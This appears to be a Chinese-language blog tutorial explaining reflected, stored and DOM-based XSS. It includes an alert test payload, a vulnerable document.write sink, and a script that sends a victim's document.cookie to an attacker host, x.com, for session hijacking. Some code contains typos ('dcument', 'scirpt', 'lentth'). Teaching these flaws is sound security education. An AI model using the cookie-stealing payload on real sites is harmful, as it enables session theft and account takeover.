反射型XSS漏洞

反射型XSS漏洞
由于这种漏洞需要一个包含Javascript的的请求,这些请求又被反射到提交请求的用户,所以成为反射型XSS,又称一阶XSS。
实例:动态页面向用户显示消息 .com/error.php?message=sorry%2c+an+error+ocurred
判断 .com/error.php?message=<script>alert(‘zidane’)</script>
利用漏洞
最常见的利用方式,会话劫持(cookie截获)
用户登录的时候会得到一个保护令牌的cookie,以下代码:
.com/error.php?message=<script>var+i=new+Image;+i.src=”http://x.com/“%2bdcument.cookie;</script>
包含的代码为:
<scirpt>
var i=new Image;
i.src="
http://x.com/"+document.cookie ;
</script>这是一个简易的盗取cookie代码,攻击者监控其x.com收到的请求,便可得知用户的cookie(改良的该代码可以发送cookie到邮箱或页面)
这么做的原因:
1.站点的可信度
2.任何脚本不可以访问其他站点的cookie,只有自己站里的脚本可以请求自己的cookie
注意:
1.一个域的页面可以向另一个域提出任意请求,,但它不能处理那个请求返回的数据。
2.一个域的页面可以从另一个域加载脚本,并在自己的域中执行,这是因为脚本被假定包含代码不包含数据,因此跨域访问并不危险,一旦这种假设被违反了将造成跨站攻击。
3.一个域的页面不能访问另一个域的cookie或其他DOM对象。
保存型XSS漏洞
用户提交的数据,被保存到应用程序中,或者是数据库中,然后不过滤就显示给其他用户,就有可能构成这种漏洞。
因为这种攻击至少要向应用程序提出两次请求,所以被称为二阶XSS。比反射型危害更大。
基于DOM的XSS
这类XSS漏洞中,攻击者的javascript通过如下过程执行
用户请求一个经过设计的URL,它由攻击者提交,其中包含JavaScript 
服务器的响应中不包含攻击者的漏洞 
当用户的浏览器处理这个响应时,脚本得到处理 
由于客户端JavaScript可以访问浏览器的文本对象模型(DOM,Document Object Model),因此它能够决定用于加载当前页面的URL,应用程序发布的脚本可以从URL中提取数据,然后处理,用他来动态更新页面的内容。
假如error.php包含以下内容:
<script type="text/javascript">
var a = document.URL;
a = unescape(a);
document.write(a.substring(a.indexOf("message=")+8,a.lentth));
</script>攻击者继续提交 .com/error.php?message=<script>alert(‘zidane’)</script> 即可出发漏洞


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值